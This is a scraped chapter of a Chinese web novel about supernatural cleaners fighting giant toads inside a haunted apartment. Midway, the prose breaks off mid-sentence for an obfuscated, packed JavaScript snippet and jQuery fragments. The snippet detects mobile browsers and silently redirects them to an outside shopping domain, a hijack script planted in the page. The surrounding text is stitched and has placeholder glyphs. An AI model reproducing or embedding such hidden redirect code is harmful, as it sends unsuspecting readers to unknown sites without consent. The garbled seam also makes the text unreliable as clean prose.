文趣网 > 其他小说 > 保洁费日结两千,那家凶宅又下单了 > 4. 【36栋304】蟾蜍成精了
    林知远被姜栩身上那股劲头给鼓励到了。

    他看了看自己面前那堆发霉的外卖盒,也重新蹲下去,闷头开始清理。

    本来周小满还对着墙上那嘟噜蟾蜍卵龇牙咧嘴犯恶心,一扭头俩人一个赛一个卖力,愣了一下。

    “不是,大家都是一个组的,你俩卷什么卷啊,你这不扰乱市场嘛!”

    周小满嘴上抱怨着,手上也跟着赶紧动了起来。

    毕竟队长也说了,怨境除非化解,否则他们无法离开,会永远困在其中,年长日久,成为怨境的一部分。

    在这儿耗着不如早点收工。

    她从装备箱里翻出一把刮刀,咬着牙对着墙上那层鼓泡的墙皮下了手。

    季容一边清理客厅的垃圾,一边用余光扫过三个队员,面罩下的嘴角微微弯了一下。

    怨境里的时间和外面的时间并不对等,他们在这里已经干了一阵子了,窗外的天色却始终是黑沉沉的,没有一丝变化。

    里屋的电视一直开着。

    声音穿过虚掩的房门,断断续续地飘进客厅。

    “……本台消息,昨日晚间,一名男童在红鼎轩火锅城用餐时,跳上餐桌向火锅内小便,其家长拒绝赔偿并辱骂店家,称‘孩子还小不懂事’,目前店家已报警处理……”

    姜栩正弯腰把一簸箕蝌蚪倒进回收袋里,听见这一耳朵,动作顿了一下。

    她心说可真是世界之大无奇不有。

    熊孩子哪儿都有,连怨境里的电视都在播这种新闻。

    也不知道这怨境里的电视信号是从哪儿接过来的,播的倒是现实世界的真事儿,前阵子她还在手机上刷到过这个新闻的后续,说是店家索赔六万,家长反咬一口说店家敲诈,闹得沸沸扬扬。

    她摇了摇头,继续扫水。

    地上的积水扫了七八成,露出底下斑驳的地砖,但有一片区域的积水始终不见少,姜栩蹲下来仔细看了看,发现是下水道堵了。

    水排不下去,在原地打着旋儿,水面浮着一层灰白色的泡沫。

    姜栩皱了皱眉,把手套又紧了紧,伸手去掏下水道。

    掏下水道这事本来就挺恶心的,在这种环境中恶心加倍。

    隔着手套,姜栩也能感觉到手指慢慢探入冰凉的水里,摸到了一团软塌塌的东西。

    她在心中祈祷不要是一只癞蛤蟆,用指尖把那团东西勾出来。

    还好不是癞蛤蟆,是一个纸团。

    文字是怨境当中非常重要的线索。

    姜栩小心翼翼地展开,才发现这并不是一张完整的纸,而是被撕掉了一半,边缘参差不齐。

    纸张被水泡得发软发胀,表面的颜料已经洇开了,但还能勉强辨认出上面的内容。

    是一幅画。

    铅笔打底,彩色笔填色,笔触稚拙,一看就是小孩子的画。

    画上是一个女孩子,但因为只剩半幅,只能看见女孩的半张脸和半边身子。

    女孩留着双马尾辫子,是那种很典型的小女孩画法,两个马尾一左一右翘起来,用的黑色的水彩笔涂的色。

    但是女孩眼睛的位置,被画了两个叉。

    姜栩知道绘画中这种表达一般表示此人已死。

    姜栩盯着那半张脸看了一会儿,目光往下移。

    女孩的手里拿着一个东西,是一个瓶子。

    但因为画被撕掉了一半,瓶子也跟着被撕掉了半边,只能看见大致的轮廓,看起来像个药瓶。

    但是看不见标签,也不知道瓶子里到底装了什么。

    姜栩蹲在地上,摆弄这半幅残画,第一反应就是抬头看了一眼里屋的方向。

    里屋的电视还在响,光影从门缝里一闪一闪地漏出来。

    那个穿着白色睡裙的小姑娘就在里面,这个空间里目前只有这一个小女孩,画上画的会是她吗?

    姜栩的思绪刚刚冒出一个头。

    “咣——”

    突如其来的巨响吓了她一跳,原来是墙上的老式挂钟忽然敲响了。

    沉重的金属钟声在逼仄的房间里回荡,嗡鸣的尾音拖得很长。

    紧接着,门楣上那盏六角灯笼毫无征兆地灭了,光芒瞬间消失,于此同时,里屋的电视声也断了,屏幕的光从门缝里消失。

    整个空间像是被一只无形的大手按下了开关,黑暗降临得猝不及防。

    窗外骤然炸开一道闪电,惨白的光劈进房间,四个人的影子在墙壁上一闪而过。

    接着是雷声,轰隆隆从头顶碾过去,窗框都跟着嗡嗡作响。

    下雨了,倾盆大雨砸下来,在窗玻璃上发出密集的声音。

    闪电过去后,房间重新陷入一片黑暗之中。

    姜栩保持着刚才的姿势,其他三人也都保持着刚才的姿势一动不动。

    他们的眼睛都还没有适应这种突如其来的黑暗,沉默了大约三四秒。

    窗外的雨声反而衬得房间里死一样寂静。

    一片安静之中,周小满隐约感到有什么东西站在自己身后。

    她听见了它的呼吸声。

    她甚至能感觉它在靠近自己,当然她全身上下包裹着工作服,并没有裸露在外的皮肤。

    但是为了方便工作,工作服的特殊材质能够最大限度帮员工保留与外界接触时的触感。

    周小满感觉到一个冰凉、黏腻、颗粒感的粗糙表面贴在她的工作服上,后颈的位置,缓缓移动。

    周小满的脊背瞬间僵直,她像一个木偶一样嘎吱嘎吱僵硬地转动脖子,一寸一寸回过头。

    一道闪电划破夜空。

    惨白的光里,周小满看见自己身后不过一尺远的硕大的蟾蜍脸。

    两只鼓胀的眼睛有拳头那么大,表面上蒙着一层透明的薄膜,在闪电的光亮下反射出诡异的虹彩。

    这蟾蜍太大了,比人高,周小满毫不怀疑它一张嘴可以把自己整个吞下去。

    就在这时,里屋传来了小女孩的尖叫声,接着就是一连串光脚踩在水泥地上的噔噔噔的声音,接着,就是衣柜门被拉开又关上。

    小女孩躲起来了。

    这只蟾蜍本来并没有在盯着周小满,它看不见静止的东西,但是被里屋小女孩的动静给吸引了注意力。

    它一扭头,周小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587138|205334||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    满抓住机会,猛地扭身,整个人几乎是弹射出去的。

    鞋底在积水里打了个滑,撞翻了水桶,桶里的污水哗啦啦泼洒了一地,姜栩白干了。

    但她根本顾不上道歉,连滚带爬往反方向窜了好几米远,一直退到墙根地下退无可退的位置,一只手撑着墙壁,另一只手抓住刚才清理蟾蜍卵的刮刀,死死攥在手里。

    季容的声音在黑暗中响起,压抑着紧张的呼吸:“小满?”

    “蟾蜍!”周小满的声音又尖又颤,“这么大一只蟾蜍!”

    又是一道闪电劈过,照亮了整个客厅。

    姜栩顺着闪电的光看过去。

    刚才周小满站的位置后方,蹲着一只足有一人高的蟾蜍,鼓着腮帮子,喉囊一鼓一缩,发出低沉的咕咕声。

    雨越下越大,外面的闪电一阵紧似一阵,把整个空间照得明明灭灭,接着微薄的灯光,姜栩看见那只蟾蜍身后,还有第二只蟾蜍,就趴在沙发背上,显得更加高大。

    黑暗中,似乎还有第三只,第四只的影子。

    起码四只。

    它们鼓胀的眼睛在光线里闪烁着光泽,薄膜黏腻腻的。

    林知远显然也看见了这幅景象,他离其中一只蟾蜍超级近,忍不住大声呼吸了一下。

    结果,那只蟾蜍忽然腾起肥硕的身体,直接砸向林知远。

    林知远发出一声变了调的惊叫,好在大家都接受过专业的训练,即便胆子小,也不会出现面对恐惧双腿瘫软的情况。

    他本能地往旁边一滚,那只蟾蜍就落在刚才他蹲着的位置。

    所有的蟾蜍都开始活动,咕咕声此起彼伏,好像闯进了夏天的荷塘。

    耳边都是噗通噗通积水的声音,两个人的惊叫以及粗重的喘息声。

    周小满在前面跑啊跑,蟾蜍的舌头在后面飞啊飞。

    跑着跑着,周小满和林知远在黑暗中似乎撞到一起去了,两个人竞赛一样地飙高音,整个客厅沸腾了起来。

    黑暗中,季容也难以准确地发布任务。

    姜栩来不及细想,她抓住方才扫水的扫帚,扫帚杆是一根空心铁管,虽然很轻,但聊胜于无。

    她把扫帚头拔掉,剩下一根铁管,接着竖起耳朵,试图从一片混乱中分辨□□的方位,可惜太黑了,难以分清敌我。

    又一道闪电。

    姜栩看见周小满正挥舞着一把刮刀跟一只□□对峙。

    那蟾蜍的舌头弹射出来,像一条粉红色的鞭子,啪地打在刮刀上,周小满整个人都被震得后退了半步。

    林知远手中握着一根木棒,看起来像是从拖把上拆下来的,抡圆了砸在一只蟾蜍的背上,那□□纹丝不动,倒是木棒反弹回来差点敲到他自己的脑袋。

    姜栩面前那只蟾蜍的喉囊鼓了一下。

    她立刻往旁边一闪,粉红色的黏腻舌头擦着她的耳侧飞过去,啪地打在身后的墙上,墙皮都给粘掉了一块。

    舌头缩回去的速度比弹出来的速度更快,在空中甩过一道弧线,擦过姜栩的面罩,给姜栩恶心得顺手拿起一边的抹布擦了好几下,才把眼前的粘液给擦干净。